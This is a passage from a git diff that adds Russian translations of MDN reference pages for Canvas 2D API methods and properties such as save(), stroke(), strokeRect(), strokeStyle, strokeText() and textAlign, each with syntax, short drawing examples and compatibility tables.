+ <li>The interface defining it, {{domxref("CanvasRenderingContext2D")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/save/index.html b/files/ru/web/api/canvasrenderingcontext2d/save/index.html
new file mode 100644
index 0000000000..8716b6487c
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/save/index.html
@@ -0,0 +1,84 @@
+---
+title: CanvasRenderingContext2D.save()
+slug: Web/API/CanvasRenderingContext2D/save
+translation_of: Web/API/CanvasRenderingContext2D/save
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.save()</code></strong> - метод Canvas 2D API. Сохраняет все состояния и добавляет текущее состояние в стек.</p>
+
+<h3 id="Состояние_чертежа">Состояние чертежа</h3>
+
+<p>Состояние чертежа, которое сохраняется в стеке, состоит из:</p>
+
+<ul>
+ <li>Текущая матрица преобразования.</li>
+ <li>Текущая область отсечения.</li>
+ <li>The current dash list.</li>
+ <li>Текущие значения следующих атрибутов: {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}, {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}}, {{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha")}}, {{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth")}}, {{domxref("CanvasRenderingContext2D.lineCap", "lineCap")}}, {{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin")}}, {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit")}}, {{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY")}}, {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}}, {{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor")}}, {{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation")}}, {{domxref("CanvasRenderingContext2D.font", "font")}}, {{domxref("CanvasRenderingContext2D.textAlign", "textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline")}}, {{domxref("CanvasRenderingContext2D.direction", "direction")}}, {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}}.</li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <em>ctx</em>.save();</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Сохранение_состояния_чертежа">Сохранение состояния чертежа</h3>
+
+<p>Этот пример использует метод <code>save()</code> для сохранения состояния по умолчанию, и метод <code>restore()</code> для восстановления состояния позже, чтобы позже можно было нарисовать прямоугольник с состоянием по умолчанию.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre><code>const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// Сохранение состояния по умолчанию
+ctx.save();
+
+ctx.fillStyle = 'green';
+ctx.fillRect(10, 10, 100, 100);
+
+// Восстановление состояния по умолчанию
+ctx.restore();
+
+ctx.fillRect(150, 40, 100, 100);</code></pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Saving_the_drawing_state', 700, 180) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-save", "CanvasRenderingContext2D.save")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.save")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.restore()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html b/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html
new file mode 100644
index 0000000000..1ac7882a57
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html
@@ -0,0 +1,116 @@
+---
+title: CanvasRenderingContext2D.stroke()
+slug: Web/API/CanvasRenderingContext2D/stroke
+translation_of: Web/API/CanvasRenderingContext2D/stroke
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <strong><code>CanvasRenderingContext2D.stroke()</code></strong> Canvas 2D API обводит текущий или данный контур цветом <code>strokeStyle</code>.</p>
+
+<p>Обводка выравнивается по центру контура, другими словами, половина линии обводки рисуется с внутренней стороны контура, и половина с внешней.</p>
+
+<p>Обводка отрисовывается согласно правилу ненулевого индекса, а значит, пересекающиеся части контура также будут обведены.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.stroke();</var>
+void <var><em>ctx</em>.stroke(path);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>path</code></dt>
+ <dd>{{domxref ("Path2D")}} - контур, который нужно обвести.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_stroke()">Использование метода <code>stroke()</code></h3>
+
+<p>В этом примере с помощью метода <code>rect()</code> создается прямоугольник, и затем с помощью <code>stroke()</code> отрисовывается на холсте.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[4]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+ctx.rect(10, 10, 100, 100);
+ctx.stroke();
+</pre>
+
+<p>Отредактируйте приведенный ниже код и посмотрите, как обновляется рисунок на холсте:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.rect(10, 10, 100, 100);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-stroke", "CanvasRenderingContext2D.stroke")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузеров">Поддержка браузеров</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.stroke")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий этот метод - {{domxref("CanvasRenderingContext2D")}}.</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/strokerect/index.html b/files/ru/web/api/canvasrenderingcontext2d/strokerect/index.html
new file mode 100644
index 0000000000..e211be454f
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/strokerect/index.html
@@ -0,0 +1,173 @@
+---
+title: CanvasRenderingContext2D.strokeRect()
+slug: Web/API/CanvasRenderingContext2D/strokeRect
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Method
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/strokeRect
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.strokeRect()</code></strong>, предоставляемый Canvas 2D API, рисует на холсте прямоугольник, имеющий начальную точку с координатами <em>(x, y)</em>, а так же ширину<em> w</em> и высоту <em>h</em>, используя текущий стиль линий.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.strokeRect(x, y, width, height);</var>
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Координата начальной точки прямоугольника по оси x.</dd>
+ <dt><code>y</code></dt>
+ <dd>Координата начальной точки прямоугольника по оси y.</dd>
+ <dt><code>width</code></dt>
+ <dd>Ширина прямоугольника.</dd>
+ <dt><code>height</code></dt>
+ <dd>Высота прямоугольника.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Использование_метода_strokeRect">Использование метода <code>strokeRect</code></h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий метод <code>strokeRect</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.strokeStyle = "green";
+ctx.strokeRect(10, 10, 100, 100);
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.strokeStyle = "green";
+ctx.strokeRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-strokerect", "CanvasRenderingContext2D.strokeRect")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.strokeStyle")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.clearRect()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fillRect()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html b/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html
new file mode 100644
index 0000000000..eff9c60020
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html
@@ -0,0 +1,205 @@
+---
+title: CanvasRenderingContext2D.strokeStyle
+slug: Web/API/CanvasRenderingContext2D/strokeStyle
+translation_of: Web/API/CanvasRenderingContext2D/strokeStyle
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство<strong> </strong><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.strokeStyle</code></strong>, предоставляемое Canvas 2D API задает цвет или стиль, используемый при выполнении обводки фигур. По умолчанию установлено значение <code>#000</code> (черный цвет).</p>
+
+<p>См. также главу <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> в <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em>.strokeStyle = color;
+</var><var><em>ctx</em>.strokeStyle = gradient;
+</var><var><em>ctx</em>.strokeStyle = pattern;</var>
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>color</code></dt>
+ <dd>{{domxref("DOMString")}} строка содержащая цвет в формате, поддерживающимся стандартом CSS ({{cssxref("&lt;color&gt;")}}).</dd>
+ <dt><code>gradient</code></dt>
+ <dd>Объект класса {{domxref("CanvasGradient")}} (линейный или круговой градиент ).</dd>
+ <dt><code>pattern</code></dt>
+ <dd>Объект класса {{domxref("CanvasPattern")}} (повторяющееся изображение).</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Using_the_strokeStyle_property" name="Using_the_strokeStyle_property">Использование <code>strokeStyle</code> с цветом</h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий <code>strokeStyle</code> с цветом.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.strokeStyle = "blue";
+ctx.strokeRect(10, 10, 100, 100);
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.strokeStyle = "blue";
+ctx.strokeRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h3 id="A_strokeStyle_example" name="A_strokeStyle_example">Использование <code>strokeStyle </code>в циклах<code> for</code></h3>
+
+<p>В этом примере свойство <code>strokeStyle</code> используется для рисования границ фигур. Мы используем метод {{domxref("CanvasRenderingContext2D.arc", "arc()")}} для рисования кругов.</p>
+
+<pre class="brush: js">var ctx = document.getElementById('canvas').getContext('2d');
+for (var i=0;i&lt;6;i++){
+  for (var j=0;j&lt;6;j++){
+    ctx.strokeStyle = 'rgb(0,' + Math.floor(255-42.5*i) + ',' +
+                      Math.floor(255-42.5*j) + ')';
+    ctx.beginPath();
+    ctx.arc(12.5+j*25,12.5+i*25,10,0,Math.PI*2,true);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<p>Результат выглядит так:</p>
+
+<p>{{EmbedLiveSample("A_strokeStyle_example", "180", "180", "https://mdn.mozillademos.org/files/253/Canvas_strokestyle.png")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-strokestyle", "CanvasRenderingContext2D.strokeStyle")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Особенности_WebKitBlink">Особенности WebKit/Blink</h2>
+
+<ul>
+ <li>В браузерах на базе Webkit и Blink помимо этого свойства, также поддержвается нестадартный метод <code>ctx.setStrokeColor()</code>.
+
+  <pre class="brush: js">setStrokeColor(color, optional alpha);
+setStrokeColor(grayLevel, optional alpha);
+setStrokeColor(r, g, b, a);
+setStrokeColor(c, m, y, k, a);
+</pre>
+ </li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс предоставляющий данное свойство: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasGradient")}}</li>
+ <li>{{domxref("CanvasPattern")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html b/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html
new file mode 100644
index 0000000000..e0e98fbc0a
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html
@@ -0,0 +1,167 @@
+---
+title: CanvasRenderingContext2D.strokeText()
+slug: Web/API/CanvasRenderingContext2D/strokeText
+translation_of: Web/API/CanvasRenderingContext2D/strokeText
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.strokeText(),</code></strong> предоставляемый Canvas 2D API, выполняет обводку заданного текста в заданной позиции (<em>x, y</em>). Если указан необязательный четвертый параметр, текст будет масштабироваться в соответветствие с указанной максимальной шириной.</p>
+
+<p>См. также метод {{domxref("CanvasRenderingContext2D.fillText()")}} для заливки контуров текста.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.strokeText(text, x, y [, maxWidth]);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>text</code></dt>
+ <dd>Текст, использующий для визуализации следующие свойства: {{domxref("CanvasRenderingContext2D.font","font")}}, {{domxref("CanvasRenderingContext2D.textAlign","textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline","textBaseline")}} и {{domxref("CanvasRenderingContext2D.direction","direction")}}.</dd>
+ <dt><code>x</code></dt>
+ <dd>Коодрдината левой нижней точки текста по оси x.</dd>
+ <dt><code>y</code></dt>
+ <dd>Коодрдината левой нижней точки текста по оси y.</dd>
+ <dt><code>maxWidth</code> {{optional_inline}}</dt>
+ <dd>Максимальная ширина текста.  Если ширина надписи больше параметра, текст масштабируется по горизонатли, или, если это невозможно (надпись становится нечитамой), уменьшается размер шрифта.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_strokeText">Использование метода strokeText</h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий strokeText.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.font = "48px serif";
+ctx.strokeText("Hello world", 50, 100);
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.font = "48px serif";
+ctx.strokeText("Hello world", 50, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-stroketext", "CanvasRenderingContext2D.strokeText")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>{{ CompatIE(9) }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1.9.1") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fillText()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html b/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html
new file mode 100644
index 0000000000..306558fa51
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html
@@ -0,0 +1,130 @@
+---
+title: CanvasRenderingContext2D.textAlign
+slug: Web/API/CanvasRenderingContext2D/textAlign
+tags:
+  - API
+  - Canvas
+  - Выравнивание
+  - Значение
+  - Текст
+translation_of: Web/API/CanvasRenderingContext2D/textAlign
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.textAlign</code></strong> Canvas 2D API определяет текущее выравнивание текста, использованное при прорисовке. Но следует помнить, что выравнивание основывается на значении x метода {{domxref("CanvasRenderingContext2D.fillText", "fillText()")}}. Так что, если значение <code>textAlign</code> равно <code>"center"</code>, то текст будет прорисован в <code>x - (width / 2)</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em>.textAlign = "left" || "right" || "center" || "start" || "end";</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>left</code></dt>
+ <dd>Выравнивание текста по левому краю.</dd>
+ <dt><code>right</code></dt>
+ <dd>Выравнивание текста по правому краю.</dd>
+ <dt><code>center</code></dt>
+ <dd>Текст отцентрирован.</dd>
+ <dt><code>start</code></dt>
+ <dd>Выравнивание текста в обычном начале строки (левостороннее выравнивание для языков, направленных слева направо, правостороннее - для направленных справа налево).</dd>
+ <dt><code>end</code></dt>
+ <dd>Выравнивание текста в конце строки (правостороннее выравнивание для языков, направленных слева направо, левостороннее - для направленных справа налево</dd>
+</dl>
+
+<p>По умолчанию значение <code>textAlign </code>установлено как <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">"start"</span></font>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Using_the_textAlign_property" name="Using_the_textAlign_property">Использование значения <code>textAlign</code></h3>
+
+<p>Довольно простой сниппет использования значения <code>textAlign </code>для изменения выравнивания текста.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.font = '48px serif';
+ctx.textAlign = 'left';
+ctx.strokeText('Hello world', 0, 100);
+</pre>
+
+<p>Отредактируйте приведенный ниже код и посмотрите, как обновляется ваше обновление на холсте:</p>
+
